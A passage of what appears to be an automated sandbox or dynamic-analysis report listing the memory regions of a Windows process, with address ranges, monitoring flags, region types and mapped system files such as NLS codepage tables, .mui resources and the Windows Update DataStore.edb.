"pagefile_0x0000011beac90000" filename = "" Region: id = 2269 start_va = 0x11beae20000 end_va = 0x11beaeadfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 2270 start_va = 0x11beaeb0000 end_va = 0x11beaec0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 2271 start_va = 0x11beaed0000 end_va = 0x11beaed0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaed0000" filename = "" Region: id = 2272 start_va = 0x11beaee0000 end_va = 0x11beaeecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 2273 start_va = 0x11beaef0000 end_va = 0x11beaef1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 2274 start_va = 0x11beaf00000 end_va = 0x11beaf04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 2275 start_va = 0x11beaf10000 end_va = 0x11beaf1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 2276 start_va = 0x11beaf20000 end_va = 0x11beaf22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 2277 start_va = 0x11beaf30000 end_va = 0x11beaf30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beaf30000" filename = "" Region: id = 2278 start_va = 0x11beaf40000 end_va = 0x11beaf40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf40000" filename = "" Region: id = 2279 start_va = 0x11beaf50000 end_va = 0x11beaf56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beaf50000" filename = "" Region: id = 2280 start_va = 0x11beaf70000 end_va = 0x11beaf81fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dnsapi.dll.mui" filename = "\\Windows\\System32\\en-US\\dnsapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dnsapi.dll.mui") Region: id = 2281 start_va = 0x11beaf90000 end_va = 0x11beaf96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beaf90000" filename = "" Region: id = 2282 start_va = 0x11beafa0000 end_va = 0x11beafa9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 2283 start_va = 0x11beafb0000 end_va = 0x11beafc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 2284 start_va = 0x11beafd0000 end_va = 0x11beafe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 2285 start_va = 0x11beaff0000 end_va = 0x11beaff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beaff0000" filename = "" Region: id = 2286 start_va = 0x11beb000000 end_va = 0x11beb0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb000000" filename = "" Region: id = 2287 start_va = 0x11beb100000 end_va = 0x11beb110fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 2288 start_va = 0x11beb120000 end_va = 0x11beb130fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 2289 start_va = 0x11beb140000 end_va = 0x11beb150fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 2290 start_va = 0x11beb160000 end_va = 0x11beb170fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 2291 start_va = 0x11beb180000 end_va = 0x11beb186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb180000" filename = "" Region: id = 2292 start_va = 0x11beb190000 end_va = 0x11beb28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb190000" filename = "" Region: id = 2293 start_va = 0x11beb290000 end_va = 0x11beb291fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beb290000" filename = "" Region: id = 2294 start_va = 0x11beb2a0000 end_va = 0x11beb2a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb2a0000" filename = "" Region: id = 2295 start_va = 0x11beb2b0000 end_va = 0x11beb2b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beb2b0000" filename = "" Region: id = 2296 start_va = 0x11beb2c0000 end_va = 0x11beb2c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb2c0000" filename = "" Region: id = 2297 start_va = 0x11beb2d0000 end_va = 0x11beb2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 2298 start_va = 0x11beb2f0000 end_va = 0x11beb2f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "newdev.dll.mui" filename = "\\Windows\\System32\\en-US\\newdev.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\newdev.dll.mui") Region: id = 2299 start_va = 0x11beb300000 end_va = 0x11beb3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb300000" filename = "" Region: id = 2300 start_va = 0x11beb400000 end_va = 0x11beb736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2301 start_va = 0x11beb740000 end_va = 0x11beb767fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 2302 start_va = 0x11beb770000 end_va = 0x11beb7a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 2303 start_va = 0x11beb7b0000 end_va = 0x11beb7b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb7b0000" filename = "" Region: id = 2304 start_va = 0x11beb7c0000 end_va = 0x11beb7c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb7c0000" filename = "" Region: id = 2305 start_va = 0x11beb7d0000 end_va = 0x11beb7e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 2306 start_va = 0x11beb7f0000 end_va = 0x11beb7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beb7f0000" filename = "" Region: id = 2307 start_va = 0x11beb800000 end_va = 0x11beb8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb800000" filename = "" Region: id = 2308 start_va = 0x11beb900000 end_va = 0x11beb9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beb900000" filename = "" Region: id = 2309 start_va = 0x11beba00000 end_va = 0x11bebafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beba00000" filename = "" Region: id = 2310 start_va = 0x11bebb00000 end_va = 0x11bebbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebb00000" filename = "" Region: id = 2311 start_va = 0x11bebc00000 end_va = 0x11bebc10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 2312 start_va = 0x11bebc20000 end_va = 0x11bebc50fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 2313 start_va = 0x11bebc60000 end_va = 0x11bebc63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebc60000" filename = "" Region: id = 2314 start_va = 0x11bebc70000 end_va = 0x11bebc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebc70000" filename = "" Region: id = 2315 start_va = 0x11bebc80000 end_va = 0x11bebc86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebc80000" filename = "" Region: id = 2316 start_va = 0x11bebc90000 end_va = 0x11bebcc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 2317 start_va = 0x11bebcd0000 end_va = 0x11bebcdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebcd0000" filename = "" Region: id = 2318 start_va = 0x11bebce0000 end_va = 0x11bebce0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebce0000" filename = "" Region: id = 2319 start_va = 0x11bebcf0000 end_va = 0x11bebcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebcf0000" filename = "" Region: id = 2320 start_va = 0x11bebd00000 end_va = 0x11bebdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebd00000" filename = "" Region: id = 2321 start_va = 0x11bebe00000 end_va = 0x11bebe42fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebe00000" filename = "" Region: id = 2322 start_va = 0x11bebe50000 end_va = 0x11bebf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebe50000" filename = "" Region: id = 2323 start_va = 0x11bebf50000 end_va = 0x11bebf56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebf50000" filename = "" Region: id = 2324 start_va = 0x11bebf60000 end_va = 0x11bebf6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bebf60000" filename = "" Region: id = 2325 start_va = 0x11bebf70000 end_va = 0x11bebf7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bebf70000" filename = "" Region: id = 2326 start_va = 0x11bebf80000 end_va = 0x11bebf8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bebf80000" filename = "" Region: id = 2327 start_va = 0x11bebf90000 end_va = 0x11bebf9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bebf90000" filename = "" Region: id = 2328 start_va = 0x11bebfa0000 end_va = 0x11bebfaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bebfa0000" filename = "" Region: id = 2329 start_va = 0x11bebfb0000 end_va = 0x11bebfbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bebfb0000" filename = "" Region: id = 2330 start_va = 0x11bebfc0000 end_va = 0x11bebfc3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebfc0000" filename = "" Region: id = 2331 start_va = 0x11bebfd0000 end_va = 0x11bebfd1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebfd0000" filename = "" Region: id = 2332 start_va = 0x11bebfe0000 end_va = 0x11bebfe6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebfe0000" filename = "" Region: id = 2333 start_va = 0x11bebff0000 end_va = 0x11bebff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bebff0000" filename = "" Region: id = 2334 start_va = 0x11bec000000 end_va = 0x11bec0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec000000" filename = "" Region: id = 2335 start_va = 0x11bec100000 end_va = 0x11bec1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec100000" filename = "" Region: id = 2336 start_va = 0x11bec200000 end_va = 0x11bec2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec200000" filename = "" Region: id = 2337 start_va = 0x11bec300000 end_va = 0x11bec3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec300000" filename = "" Region: id = 2338 start_va = 0x11bec400000 end_va = 0x11bec4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec400000" filename = "" Region: id = 2339 start_va = 0x11bec500000 end_va = 0x11bec5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec500000" filename = "" Region: id = 2340 start_va = 0x11bec600000 end_va = 0x11bec6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec600000" filename = "" Region: id = 2341 start_va = 0x11bec700000 end_va = 0x11bec7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec700000" filename = "" Region: id = 2342 start_va = 0x11bec800000 end_va = 0x11bec8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec800000" filename = "" Region: id = 2343 start_va = 0x11bec900000 end_va = 0x11bec9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bec900000" filename = "" Region: id = 2344 start_va = 0x11beca00000 end_va = 0x11becafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beca00000" filename = "" Region: id = 2345 start_va = 0x11becb00000 end_va = 0x11becb4dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011becb00000" filename = "" Region: id = 2346 start_va = 0x11becb50000 end_va = 0x11becb9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011becb50000" filename = "" Region: id = 2347 start_va = 0x11becba0000 end_va = 0x11becbaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011becba0000" filename = "" Region: id = 2348 start_va = 0x11becbb0000 end_va = 0x11becbbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011becbb0000" filename = "" Region: id = 2349 start_va = 0x11becbc0000 end_va = 0x11becbcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011becbc0000" filename = "" Region: id = 2350 start_va = 0x11becbd0000 end_va = 0x11becbdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011becbd0000" filename = "" Region: id = 2351 start_va = 0x11becbe0000 end_va = 0x11becbeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011becbe0000" filename = "" Region: id = 2352 start_va = 0x11becbf0000 end_va = 0x11becbfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011becbf0000" filename = "" Region: id = 2353 start_va = 0x11becc00000 end_va = 0x11bedbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011becc00000" filename = "" Region: id = 2354 start_va = 0x11bedc00000 end_va = 0x11bedc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedc00000" filename = "" Region: id = 2355 start_va = 0x11bedc20000 end_va = 0x11bedc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedc20000" filename = "" Region: id = 2356 start_va = 0x11bedc30000 end_va = 0x11bedc33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedc30000" filename = "" Region: id = 2357 start_va = 0x11bedc40000 end_va = 0x11bedc41fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedc40000" filename = "" Region: id = 2358 start_va = 0x11bedc50000 end_va = 0x11bedc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2359 start_va = 0x11bedc60000 end_va = 0x11bedc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2360 start_va = 0x11bedc70000 end_va = 0x11bedc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2361 start_va = 0x11bedc80000 end_va = 0x11bedc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2362 start_va = 0x11bedca0000 end_va = 0x11bedcaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2363 start_va = 0x11bedcb0000 end_va = 0x11bedcbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2364 start_va = 0x11bedcc0000 end_va = 0x11bedccffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2365 start_va = 0x11bedcd0000 end_va = 0x11bedcdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2366 start_va = 0x11bedce0000 end_va = 0x11bedceffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2367 start_va = 0x11bedcf0000 end_va = 0x11bedcfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2368 start_va = 0x11bedd00000 end_va = 0x11bedd0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2369 start_va = 0x11bedd10000 end_va = 0x11bedd1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2370 start_va = 0x11bedd20000 end_va = 0x11bedd2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2371 start_va = 0x11bedd30000 end_va = 0x11bedd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedd30000" filename = "" Region: id = 2372 start_va = 0x11bedd40000 end_va = 0x11bedd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedd40000" filename = "" Region: id = 2373 start_va = 0x11bedd50000 end_va = 0x11bedd53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedd50000" filename = "" Region: id = 2374 start_va = 0x11bedd60000 end_va = 0x11bedd6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2375 start_va = 0x11bedd70000 end_va = 0x11bedd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedd70000" filename = "" Region: id = 2376 start_va = 0x11bedd80000 end_va = 0x11bedd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedd80000" filename = "" Region: id = 2377 start_va = 0x11bedd90000 end_va = 0x11bedd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedd90000" filename = "" Region: id = 2378 start_va = 0x11bedda0000 end_va = 0x11beddaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedda0000" filename = "" Region: id = 2379 start_va = 0x11beddb0000 end_va = 0x11beddb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 2380 start_va = 0x11beddc0000 end_va = 0x11beddc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 2381 start_va = 0x11beddd0000 end_va = 0x11bedddffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2382 start_va = 0x11bedde0000 end_va = 0x11beddeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2383 start_va = 0x11beddf0000 end_va = 0x11beddfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2384 start_va = 0x11bede00000 end_va = 0x11bede0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2385 start_va = 0x11bede10000 end_va = 0x11bede1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2386 start_va = 0x11bede20000 end_va = 0x11bede2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2387 start_va = 0x11bede30000 end_va = 0x11bede3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2388 start_va = 0x11bede40000 end_va = 0x11bede4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2389 start_va = 0x11bede50000 end_va = 0x11bede5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2390 start_va = 0x11bede60000 end_va = 0x11bede6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2391 start_va = 0x11bede70000 end_va = 0x11bede7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2392 start_va = 0x11bede80000 end_va = 0x11bede8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2393 start_va = 0x11bede90000 end_va = 0x11bede9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2394 start_va = 0x11bedea0000 end_va = 0x11bedeaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2395 start_va = 0x11bedeb0000 end_va = 0x11bedebffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2396 start_va = 0x11bedec0000 end_va = 0x11bedecffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2397 start_va = 0x11beded0000 end_va = 0x11bededffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2398 start_va = 0x11bedee0000 end_va = 0x11bedeeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2399 start_va = 0x11bedef0000 end_va = 0x11bedefffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2400 start_va = 0x11bedf00000 end_va = 0x11bedf0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2401 start_va = 0x11bedf10000 end_va = 0x11bedf1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2402 start_va = 0x11bedf20000 end_va = 0x11bedf26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bedf20000" filename = "" Region: id = 2403 start_va = 0x11bedf30000 end_va = 0x11bedf3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2404 start_va = 0x11bedf40000 end_va = 0x11bedf4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2405 start_va = 0x11bedf50000 end_va = 0x11bedf5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: 